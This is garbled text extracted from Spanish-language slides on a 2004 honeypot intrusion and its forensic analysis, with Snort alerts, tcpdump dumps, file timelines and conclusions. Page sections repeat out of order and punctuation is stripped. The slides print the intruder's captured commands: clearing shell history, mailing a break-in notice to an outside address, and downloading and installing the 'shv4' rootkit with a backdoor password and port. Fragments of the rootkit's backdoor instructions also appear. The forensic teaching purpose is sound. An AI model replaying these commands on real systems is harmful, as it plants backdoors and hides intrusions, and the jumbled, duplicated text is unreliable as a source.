sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 14: Demostracion Hacking Honeypot y Análisis Forense

page 1417062004

Prueba 3Primera alerta del IDS (x18 en 3 seg)

Conclusioacuten Intento de acceso remoto al honeypot (buffer overflow de SAMBA)Fuente Snort

[] [121034] NETBIOS SMB trans2open buffer overflow attempt [][Classification Attempted Administrator Privilege Gain] [Priority 1]0716-101928694888 101112942468 -gt 19216815139TCP TTL46 TOS0x0 ID30439 IpLen20 DgmLen1500 DFA Seq 0x59D7D6CF Ack 0x2EEEBAAF Win 0x16D0 TcpLen 32TCP Options (3) =gt NOP NOP TS 375824640 26197405[Xref =gt httpwwwdigitaldefensenetlabsadvisoriesDDI-1013txt][Xref =gt httpcvemitreorgcgi-bincvenamecginame=CAN-2003-0201]

page 1517062004

Prueba 4Nueva alerta del IDS ldquoid returned rootrdquo

Conclusioacuten (1s) El intruso comproboacute que era ldquorootrdquo en el sistemaFuente Snort

[] [14984] ATTACK-RESPONSES id check returned root [][Classification Potentially Bad Traffic] [Priority 2]0716-101932690898 1921681545295 -gt 101112942504TCP TTL64 TOS0x0 ID15658 IpLen20 DgmLen174 DFAP Seq 0x2ED6F968 Ack 0x596F6E90 Win 0x16A0 TcpLen 32TCP Options (3) =gt NOP NOP TS 26199287 375825045

page 1617062004

Prueba 5Alerta ldquoid returned rootrdquo La regla del IDS

Conclusioacuten La alerta la provocoacute un paquete conteniendo ldquouid=0(root)rdquoFuente Snort

SID 498Message ATTACK-RESPONSES id check returned root

Signature alert ip any any -gt any any (msgATTACK-RESPONSES id check returned root content uid=0(root) classtypebad-unknown sid498 rev4)

SummaryThis event is generated by the use of a UNIX id command This may be indicative of post-compromise behavior where the attacker is checking for super user privileges gained by a sucessful exploit against a vulnerable system

page 1717062004

Prueba 6Alerta ldquoid returned rootrdquo El paquete

Conclusioacuten El intruso ejecutoacute los comandos ldquouname ndashardquo e ldquoidrdquoFuente Snort

[rootholmes dir2] tcpdump -nn -r tcpdumplog1058291995 -X port 42504101932690898 1921681545295 gt 101112942504 P 785840488785840610(122) ack1500475024 win 5792 ltnopnoptimestamp 26199287 375825045gt (DF)0x0000 4500 00ae 3d2a 4000 4006 77ec XXXX XXXX E=w0x0010 XXXX XXXX XXXX XXXX 2ed6 f968 596f 6e90 shYon0x0020 8018 16a0 56a7 0000 0101 080a 018f c4f7 V0x0030 1666 a295 4c69 6e75 7820 6368 6172 6c69 fLinuxcharli0x0040 6520 322e 342e 3138 2d31 3420 2331 2057 e2418-141W0x0050 6564 2053 6570 2034 2031 333a 3335 3a35 edSep4133550x0060 3020 4544 5420 3230 3032 2069 3638 3620 0EDT2002i6860x0070 6936 3836 2069 3338 3620 474e 552f 4c69 i686i386GNULi0x0080 6e75 780a 7569 643d 3028 726f 6f74 2920 nuxuid=0(root)0x0090 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root)grou0x00a0 7073 3d39 3928 6e6f 626f 6479 290a ps=99(nobody)[rootholmes dir2]

page 1817062004

Prueba 7Ejecucioacuten del comando ldquomailrdquo

Conclusioacuten (2s) El intruso envioacute un mensaje de correo electroacutenicoFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 100937 112 a - etcmailrc754801 a - usrsbinsendmailsendmail83905 a - binmail4770 mc - varlogsambasmbdlog

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 15: Demostracion Hacking Honeypot y Análisis Forense

page 1517062004

Prueba 4Nueva alerta del IDS ldquoid returned rootrdquo

Conclusioacuten (1s) El intruso comproboacute que era ldquorootrdquo en el sistemaFuente Snort

[] [14984] ATTACK-RESPONSES id check returned root [][Classification Potentially Bad Traffic] [Priority 2]0716-101932690898 1921681545295 -gt 101112942504TCP TTL64 TOS0x0 ID15658 IpLen20 DgmLen174 DFAP Seq 0x2ED6F968 Ack 0x596F6E90 Win 0x16A0 TcpLen 32TCP Options (3) =gt NOP NOP TS 26199287 375825045

page 1617062004

Prueba 5Alerta ldquoid returned rootrdquo La regla del IDS

Conclusioacuten La alerta la provocoacute un paquete conteniendo ldquouid=0(root)rdquoFuente Snort

SID 498Message ATTACK-RESPONSES id check returned root

Signature alert ip any any -gt any any (msgATTACK-RESPONSES id check returned root content uid=0(root) classtypebad-unknown sid498 rev4)

SummaryThis event is generated by the use of a UNIX id command This may be indicative of post-compromise behavior where the attacker is checking for super user privileges gained by a sucessful exploit against a vulnerable system

page 1717062004

Prueba 6Alerta ldquoid returned rootrdquo El paquete

Conclusioacuten El intruso ejecutoacute los comandos ldquouname ndashardquo e ldquoidrdquoFuente Snort

[rootholmes dir2] tcpdump -nn -r tcpdumplog1058291995 -X port 42504101932690898 1921681545295 gt 101112942504 P 785840488785840610(122) ack1500475024 win 5792 ltnopnoptimestamp 26199287 375825045gt (DF)0x0000 4500 00ae 3d2a 4000 4006 77ec XXXX XXXX E=w0x0010 XXXX XXXX XXXX XXXX 2ed6 f968 596f 6e90 shYon0x0020 8018 16a0 56a7 0000 0101 080a 018f c4f7 V0x0030 1666 a295 4c69 6e75 7820 6368 6172 6c69 fLinuxcharli0x0040 6520 322e 342e 3138 2d31 3420 2331 2057 e2418-141W0x0050 6564 2053 6570 2034 2031 333a 3335 3a35 edSep4133550x0060 3020 4544 5420 3230 3032 2069 3638 3620 0EDT2002i6860x0070 6936 3836 2069 3338 3620 474e 552f 4c69 i686i386GNULi0x0080 6e75 780a 7569 643d 3028 726f 6f74 2920 nuxuid=0(root)0x0090 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root)grou0x00a0 7073 3d39 3928 6e6f 626f 6479 290a ps=99(nobody)[rootholmes dir2]

page 1817062004

Prueba 7Ejecucioacuten del comando ldquomailrdquo

Conclusioacuten (2s) El intruso envioacute un mensaje de correo electroacutenicoFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 100937 112 a - etcmailrc754801 a - usrsbinsendmailsendmail83905 a - binmail4770 mc - varlogsambasmbdlog

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

